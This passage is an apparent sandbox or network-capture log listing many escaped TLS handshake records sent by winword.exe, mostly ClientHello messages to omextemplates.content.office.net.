  305. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17^\\xb9<sc:d\\x94\\x1fs\\xbai\\x93\\x02q\\xa6\\xf0\\x93\\xacy\\x84\r0\\x07\\xf3w\\x96\t\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  306.  
  307.  
  308. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17\\xb3\\x93\\xea\\xb5\\xa7\\xfb5q~\\x83\\xcc\\x1b\\xf7m\\x07\\xd5@z\\x99h\\xf5\\xb2\\x83fx\\xc5\\xd9t\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  309.  
  310.  
  311. "http_request": "winword.exe_WSASend_\\xff\\xff\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17\\x89p\\xaa\r\\x0e\\x11\\x91$\\xf6\\xdaz\\xd8\\xa6\\xa8v\\x9b\\xb3w\\x95\\xf8wg#\\x01\\x90\\xa2us\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  312.  
  313.  
  314. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17\\xae\\xd38c \\x8a\\xae\\xea\\xc5\\xaf\\x99\\xf10\\x00b\\x83\\xcfc\\xe4\tk\\xfbp5\\xf7\\x02\\x0c\\xad\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  315.  
  316.  
  317. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17\\x91c\\x8ci\\xdf\\xf2\\xe25\\xfbc>zsm&\\x1d\\xe1\\x0b\\x184\\i\\x98b\\xa4=\\x9du\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  318.  
  319.  
  320. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17(: 3\\xf4\\xbe\\xc0\\xfa\\xbc\\xc4\\xb7\\xb2\\x01\\xc7#p9\\xdd`\\x1f\\x8e\\xeb\\x8af\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  321.  
  322.  
  323. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17d\\xf3\\x95=\\xe3\\x13=s\\\\xc0\\xc3\\xb5\\xc8\\x0em\\x04\\xd9m\\xb6d\\xfc\\x14u\\xa2o\\x03s\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  324.  
  325.  
  326. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17r\\xa7\n\\xfe\\x87wfk\\xe8/\\x85\\x00\n>|\nu\\xb3\\xbe\\xcc'\\x94\\x82x\\xa7\\x9c\\xf4\\x03\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  327.  
  328.  
  329. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17fx\\xc6\\xaa;\\xfe\\xa6\\xc9\\x86\\xa5n\\xed+tr\\xdf`\\xe3*\\x9b\\xeba\\xe1\\xe9\\x02\\xc2\"q\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  330.  
  331.  
  332. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17\\xb7\\xcaj\\x9a\\xc3\\xb4#*\\xeb\\xa5\n\\xfd\\xee\\x05\\x83d#\\x0c\\x00\\x82:7~\\x862\\xc2\\x14\\xaa\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  333.  
  334.  
  335. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17\\x9b@\\x8e\\xfam\\x80\\xb7\r:\\x15f\\x03j\\xfbc*\\xfaw%mq\\xeact'4)\\x1a\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  336.  
  337.  
  338. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17\\xea\\x1f\\xa7\\xec\\xf9\\x14\\xe5\\x8c\\xd4w\\xae\\xb2\\x9ck u&\\x16s\\xdd\\xa5r\\x9b\\xdd\\x86\\x92\\xce\\xa7\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  339.  
  340.  
  341. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17\\xda\\xd1\\xc9\\x93o7\\x1f\\x13\\x81\\x87\\xbe\\xd9|&u\\x1f\\x17j\\xd5e5\\x00\r\\x83vnx\\x90\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  342.  
  343.  
  344. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17=p\\x18\\x84\\xef\\xa1\\xe8\\x12\\x9b\\xfc\\xe6 \\xf3g\\x9e\\xfd~(`\\x96\\x82\\x15\\x9c9\\xe8u~\\xf3\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  345.  
  346.  
  347. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17$\\xae\\xadn\\xb3\\xec\\2&.\\xd9\\xbbmyf\\xb6\\xd9/\\x93\\x9fv-\\x95r\\x8dj\\xc8\\x0c\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  348.  
  349.  
  350. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17\\xc6\\xb0\\xcd\\xe3\\x153\\xd9\\x81\\x9f\\x97\\xd1\\x95\\x0b1\\xb6s\\x97$\\xf3\\xc6\\xba\\xc4a\\xe7\\x86\\x80\\xe1\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  351.  
  352.  
  353. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17\\xc4\\xa5`\\xb9c$zlmm\\xe1\\x9e\\x9e!\\xd5@\r\\xb3\\xff\\x9fls\\xbc\\x7f\\x8b\\xf9q\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  354.  
  355.  
  356. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17\\xd7dwd\\xbbqo*x\\xe1,\\x08\\x1c\\xe9a\\x86)\\xdcx\\xdby\\xcc\\xa7re\\xea\nz\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  357.  
  358.  
  359. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17\\x1a\\xc5h\\x963\\xd8\\x1d\\x04\\xe3\\xfcq\\x8b\\x10\\x17\\xfe\\xa1\\x93h\\x96\\xe7\\xa7o\\xea\\xa5\\xc6x:\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  360.  
  361.  
  362. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17\\xa6\\xe7\\xcex\\xd2\\x914\\xab\\xc0\\xbbfx\"\\x9d\\xd3\\x00z\\xfe\\x93f\\xbekn,\\x9d\\x9e\\xca\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  363.  
  364.  
  365. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17\\xd9\"\\x9c\\xfa\\xcdm\tw\\x85\\x0e\\xa6zy\\xea\\xb2\n\\x00\\x1e\\xa5h9\\xa3;to\\xe9k\\xb5\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  366.  
  367.  
  368. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17\\x8a \\x0e\\xc30\\x96\\x19\\x0b\\x80\\xc2\\xcd\\t\\x0e\\x14\\xe9\\xc0\\xb9\\x7f\\xf8\\xcd\\xc2>yef\\xdf\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  369.  
  370.  
  371. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17\\xf2t\\xba\\x0f\\x19\\x03\\xc7$$\\xaf\\xec\\xab(z\\xcf\\x7f\\xdb\\x1c\\xbe\\xc3m\\x85\\xa8\\xf4t\\x0b\\x84\\xea\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  372.  
  373.  
  374. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17\\xff\\x95d\\xb9\\x13\\xe1\\x13\\xcb\\xbb\\x11e\\x94ut<i\\x0fp_t\\xdbh\\xe2r\\xf9\\xe2\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  375.  
  376.  
  377. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17\\xb3e\\x08<\\xea\\xe4a'\\x9a\\x90\\xe9^rl\\xf6\\xf8\\xe0ub\\xf7p\\xde\\xbb\\xe8\\xd0\\x8f\\x86\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  378.  
  379.  
  380. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17b\\x1a`\\xa8\\xb3\\x9f^\\x97\\xbb\\x81\\xc8\\xcd\\x8bz\\x9c\\x0ek@\\xcc.|\\xa4\n\r\\x87\\xca0\\xfb\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  381.  
  382.  
  383. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17\\x7fpm\\xba\\x1d\r\\x9cwkn\\x84\\xc5\\xd9\\xcc\\xea\\xb5\\x17\\x8c\\xec.gf\\xccz\\x9d\\xbd\\xa4\n\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  384.  
  385.  
  386. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17\\xe8\\xfa6e\ry\\xa5h\\xc7\\x88m\\x9b\\x97\\xba\\xb4h\\xae#1\\x1er\\x00\\x1a\\x96\\x97\\xe2\\xa6\\x9c\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  387.  
  388.  
  389. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17g:\\xed\\xf1\\xae&g\\xec\\xca2\\xf2?ol3\\xc6\\x93\\x94b\\xf1\\x05\\x07\\xbd\\x8ad\\x1b\\xa0\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  390.  
  391.  
  392. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd0b\\xf1\\x91\\xdf\\xb6 4;i\\xccj\\x8b\\xaa\\xc5\\xac\\xa1o\\x80\\x9c\\x83\\x8az\\xb5\\xed\\xe5\\x0b\\x04\\x87\\\\x9c\\x17\"?\\xe6\\xda\\xe8fest\\xf8\\xc0?\\x82\\x9c/\\xf5\\xbfv\\xc6\\xee\\x8e\\xa2gs\\xdb\\xccj\\xc5\\xf1\\x1b\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xc9\\x0f\\x84\\xe4\\xc7|\\xf9d\\xa3\\x90\\x98f\\x10\\xb9\\x11\\xa8m\\xaf\\xcf9\\x189nv\t\\xa3\\x04\\x04cep\\xb6\n\\xe9\\x86|a\\x8b\\xc6nm\\xb8\\xc4\\xd0\\xca\\xe8q"
  393.  
  394.  
  395. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xcb\\xcc\\xff\\xfc\\xe9\\xa5\\xa0\\x86\\x85\\xa7`v\\xcac\\xdcb\\x80\\xa0\\xcb\\xc1i$z&\\xd07\\xdc\\xade\\x04l\\x81\\x90s\\x9fa_\\xc5n\\xbf+\\xd0c\\xaf,(`\\xc8\\x8d`\\xcd\\x10\\xf0\\x83\\xd4.\\xdb \\xb7#\\xdd\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000 v\\xc16\\x16an\\xeb\n\\x0e\\xff\\xb2@a\\xe9b\\x1fo-\\xda\\x17\\xb0\\xf8\\x1e&zmh~\\x9c%r\\x85\\xe2\\xa3\\xf2\\xa3mft\\xd2\\xfb\\x8dp\\x89\\xd5\""
  396.  
  397.  
  398. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04tt\\xea2\\x01\\xafi\\xde\\x88\\x9f\\x95\\xaf\"mku\\xdbx\\xfdk\\x0e\\xd2\n\\xf6\\xf0w$e/d\\xb9\\xe3bx\\xfb\\xcd\\x1e3\\x85\\xb3\\x8a \\x8b?m\\xd4\\xcb\\x95\\x12$sg\\xf2\\xe8,\\xd1\\x8d>\\x99\\xd2e\\xd2\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xe7\\x07\\xb4\\xe5o\\xde\\xf3 \\xb9\\xea\\xb8&\\xae\\xdb\\xff7\\xb7y\\x861l\\x02\\x9c\\x1b\\xces\\xc2\\\nw,'\\xa8\\xab\\xc3&\\xed#3\\xd5w\\xaf\\x8e3\\x81\\x1f$v"
  399.  
  400.  
  401. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04tw\\x00\\xd0\\xac6\\xe4\\x91\r|\\xf4\\x101t\\x997ycf&.\\xd3\\x8b\\xd5\\xd3\\x0e\\xb5_\\xb7\\x90\\xcd\\x1a\\xa2`\\xbf%ap\\xcbquh9\\x03\\xef*\\xa9j\\x94q\\xe4\\xa96\\xbe\\x94>\\xc4\\x95o\\xd3\\x1b\\xa5,\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000wh\\xca\\xa6\\x1d\\xea\\xc0\\x186\\xa8p\\xed\\xaf#\\xda2\\xb5\\x0e\\xb5\\xf8\\xc3\\xaca\\x0e\\xbas\\x8f\\x81\\u\\xd9\\xae1\\x94\\xfc\\xb1<@\\x87;)\\xaf\\xac\\xa2\\xd6\\xa5wz"
  402.  
  403.  
  404. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x042\\xd7\\x82\\x96\\xc6\\x16\\xe4\\x93\\xad\\x8c\\xbd\\x08\\xae\\x18\n\\x0f\\xf4\\xce\\x96\\x98\\xbdt \\xcb\\x9d\\xcc&\\xc5\\x1a\\xad\\xec\\x92d\\x14\\xde\\xcd\\xcd;\\x0e\\xe4\\xe7\\xe1j\\xf4\\x92f\\x11\\x08\\xb5_^\\xb4\\x05ab\\xec\\x89e\\x0c\\xfe\\xeb\\xc0\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000e\\xef\\x9f\\x9dh\\xfff\\xef\\xf4f3f\\x8a\\xe5\\xf8\\x14\\xce\\x8ff\\xd3\\xff\\x10q\\x8b\\xa5\\x9c\\x93\\x19jsq\\xe4\\xde\\x9b\\x9e\\xb0t\\xbe\\xae\\xa9:\\xdf@\\x87\\xec+"
  405.  
  406.  
  407. "http_request": "winword.exe_WSASend_z\\x02\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf9 \\xfeg\\xd4\\x15\\x8cdu&\\xfc\\x10uu\\xaf\\x14_\\x18b\\xe0\\xa74@4f\\x00\\xe6\\x1al,\\x99\\xb7\\x036\\x00z\\xd5e\\xce\\xc0f\\xf5gn,\\xb1|bw\\x0b\\xafg\\xf3/\\xcd%\\x12\\xf7\\x8f\\xc0\\xb6\\xac\\xa8s\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x8e\\xd2\\x97e\\x05_\\x13\\xa8\\x12m&\\x02\\xe1\\xbc\\xf1\\xab\\xc6\\xbf\\x9a\\xc1\\xdc\\xf4\\xe9vu/\\xf9\\x15\\xc2\\x93\\xfb\\xcf /wj\n\\x16=0f\\x1c\\x1bg\\x8c\\xe5\\xf3>"
  408.  
  409.  
  410. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xfaw\\xf7\\x90\\xc8\\xd8\\xc7\\x90mm\\xdcmtz\\x80\\x0e\\xd1\\x02!\\\\x7f\\x86\\x04,\\xf0\\x96\\xa6\\x10o\\x14=\\x8be\\x83v,\\xffy\\x9d\\xc0u\\x7f|?\\xc7ie_v\\xc8\\xc2\\x90e\\x8c\\x16k/\\x15\\x0f\\xd4\\x0e\\xf5\\xc1\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000p96\\xff\\xb2\\xae\\xa0\\x03\\x91\\xd3\\x83\\xb4\\x80\\x98\\xac\\xe86~\\xe9\\xdf\\x87\\x13\\xeb\\x06\\xc7\\xc5\\x86a\\x0b\\x0ey\\x13\\xa7\\xf5\\x9e\\x0e&\\x11pl\n\\xf6\\xbe\\xf4y\\x1b\\xd0\\xbe"
  411.  
  412.  
